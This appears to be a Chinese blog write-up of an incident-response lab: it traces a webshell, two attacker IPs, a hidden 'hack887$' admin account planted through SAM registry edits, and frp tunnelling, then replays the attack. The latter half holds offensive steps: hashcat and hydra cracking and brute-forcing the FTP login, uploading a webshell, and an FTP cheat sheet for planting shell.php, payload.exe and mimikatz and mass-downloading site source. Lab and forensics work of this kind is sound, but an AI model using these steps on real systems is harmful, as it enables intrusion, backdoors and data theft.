2026-08-11
应急响应与流量分析
00
请注意,本文编写于 95 天前,最后修改于 95 天前,其中某些信息可能已经过时。

目录

防御
这里尝试攻击者视角进行登录
基本操作
下载文件(从服务器 → 本地)
上传文件(从本地 → 服务器)
文件模式设置(上传 exe、图片等必须用二进制)
删除与创建目录
退出
典型攻击者操作序列(复刻用)

开扫,本篇为发现后门,溯源,ftp攻击防御,ftp攻击


防御

老规矩,D盾开扫

图片.png

得到webshell名称为system.php链接密码hack6618 图片.png

定位到攻击者ip 192.168.126.135 图片.png 可是题目要两个,看看windows日志

发现 2024-02-29 13:28:48 hack887$ WIN-RRCVI68HLRI 10 User32 WIN-RRCVI68HLRI C:\Windows\System32\svchost.exe 192.168.126.129 0 4624

于是第二个ip为 192.168.126.129 图片.png

这里问题是QQ号是多少

我这里进入了桌面发现有注册表文件,这里看了看网上教程,发现没人提到

图片.png 第一个user.reg文件 图片.png、

在 Users\Names 下创建子键 hack887$,这就在系统里“注册”了一个用户名。

结尾的 $ 符号表示这是一个隐藏账户——在命令行用 net user 或普通用户管理界面里看不到它,只有直接查看注册表或用专门工具才能发现。

默认值 @=hex(3e8):(通常应写成 hex(3e8) 或 DWORD 形式)将这个用户映射到 RID 0x3E8(十进制 1000)。 RID 1000 在 Windows 中一般是默认的内置管理员账户(Administrator)的 RID。这样就把 hack887$ 的权限提升到了管理员级别,实际上和 Administrator 账户共享同一个用户数据

第二个文件

图片.png

路径 000003E8 正是 RID 0x3E8 对应的用户数据存储位置。

它修改了四个关键的键值:

F:账户核心配置,包含密码哈希、账户启用状态、RID 等。里面的二进制数据里可以看到 h.a.c.k.8.8.7.$ 的 Unicode 字符串,直接关联到新建的用户名。

V:账户的详细配置数据,比如登录时间、密码策略、组成员信息等。

ForcePasswordReset = 0:明确设置为不强制要求下次登录修改密码,使账户可以直接使用。

SupplementalCredentials:存储额外的凭据信息(如 NTLM 哈希、Kerberos 密钥等),确保账户能正常进行网络登录和域相关认证,而不只是本地登录。

这些二进制块实际上就是该用户的密码哈希和其他安全凭证。导入这个 .reg 文件后,hack887$ 账户就直接拥有了预设的密码,攻击者无需知道明文,只要用对应的哈希即可登录。

所以这里也可以按照网上的文章看看

根据之前分析,发现确实那个hack账户被隐藏掉了 图片.png

所以对于隐藏账户,我们可以打开注册表查看

我这里打开就是,我不知道是不是提前开过了,给个路径,应该到这里去查看 SAM\SAM\Domains\Account\Users\Names 图片.png

删除即可

这里因为时间不对,这个靶机比较早,所以这里无法通过时间来判断攻击者写入过哪些文件

powershell
$StartTime = "2026-08-10T02:00:00" $EndTime = "2026-08-10T03:00:00" Get-ChildItem -Path C:\ -Recurse -ErrorAction SilentlyContinue | Where-Object { $_.LastWriteTime -ge $StartTime -and $_.LastWriteTime -le $EndTime } | Select-Object FullName, LastWriteTime, Length | Export-Csv C:\temp\files_mod.csv

这里还可以通过快速访问查看

图片.png 按照穷举发现文档内存在腾讯文件,于是777888999321是qq号,发现frp内网穿透,看看配置文件

图片.png 在frpc.ini文件发现服务器ip为256.256.66.88,端口号为65536(这些不存在ip应为254以下,端口为65535以下) 图片.png

由于之前web服务日志只有访问,没有post上传行为,所以翻阅ftp日志发现大量爆破信息,最后成功登录21端口

图片.png

图片.png

这里尝试攻击者视角进行登录

发现是

FileZilla Server 0.9.60 beta 的 FTP 服务。这是一个比较老的版本(发布于 2017 年左右),可能存在一些已知的攻击面, 图片.png

然后这里为了省事,先看看ftp配置

图片.png

账户admin密码MD5哈希解出来是admin666888

这里如果没有在线,也可以通过kali

bash
# 将哈希写入文件 echo '607cfd609d28dc2e4733fdbf0b0b80e1' > ftp_hash.txt # 使用 hashcat 破解,模式 0 = MD5 hashcat -m 0 ftp_hash.txt /usr/share/wordlists/rockyou.txt # 如果你的 Kali 没有 rockyou.txt,先解压: # sudo gunzip /usr/share/wordlists/rockyou.txt.gz

图片.png

这里为了做演示在top500加入密码跑个字典看看

bash
hydra -l admin -P /usr/share/wordlists/rockyou.txt ftp://192.168.40.148

图片.png

这时我们查看日志发现

图片.png

然后我们连接传个马子上去

图片.png

图片.png

成功连接,结束

图片.png

常用

基本操作

命令说明示例
ls 或 dir列出服务器当前目录的文件ls -la
cd 目录进入服务器上的目录cd tools
lcd 本地目录切换本地(Kali)工作目录lcd /home/kali/Downloads
pwd显示服务器当前路径pwd
!pwd显示本地当前路径(加 ! 执行本地命令)

下载文件(从服务器 → 本地)

命令说明
get 文件名下载单个文件到本地
mget 通配符批量下载(会提示确认)
reget 文件名断点续传下载

例子:

bash
ftp> lcd /home/kali/桌面 # 先切到本地存放目录 ftp> get webshell.php # 下载单个文件 ftp> mget *.exe # 下载所有 exe

上传文件(从本地 → 服务器)

命令说明
put 本地文件名上传单个文件到服务器
mput 通配符批量上传
append 本地文件 远程文件追加内容到远程文件末尾

例子:

bash
ftp> lcd /home/kali/tools # 本地要上传的文件所在目录 ftp> put mimikatz.exe # 上传单个文件 ftp> mput *.dll # 批量上传

文件模式设置(上传 exe、图片等必须用二进制)

bash
ftp> binary # 二进制模式(上传 exe、zip、图片等) ftp> ascii # 文本模式(上传 txt、php、html 等)

攻击者通常统一用 binary 避免文件损坏。


删除与创建目录

命令说明
delete 文件名删除服务器上的文件
mdelete *.log批量删除
mkdir 目录名创建目录
rmdir 目录名删除空目录

退出

bash
ftp> bye # 或 quit

典型攻击者操作序列(复刻用)

假设攻击者用这个 FTP 上传了后门,操作可能是:

bash
ftp> binary ftp> cd /phpstudy_pro/WWW # 进入网站目录(可能不需要,因为根目录就是) ftp> put shell.php # 上传 webshell ftp> put payload.exe ftp> ls ftp> bye

如果要“下载”网站源码(窃取数据),则是:

bash
ftp> lcd /tmp/stolen ftp> binary ftp> prompt off # 关闭批量下载的确认提示 ftp> mget * ftp> bye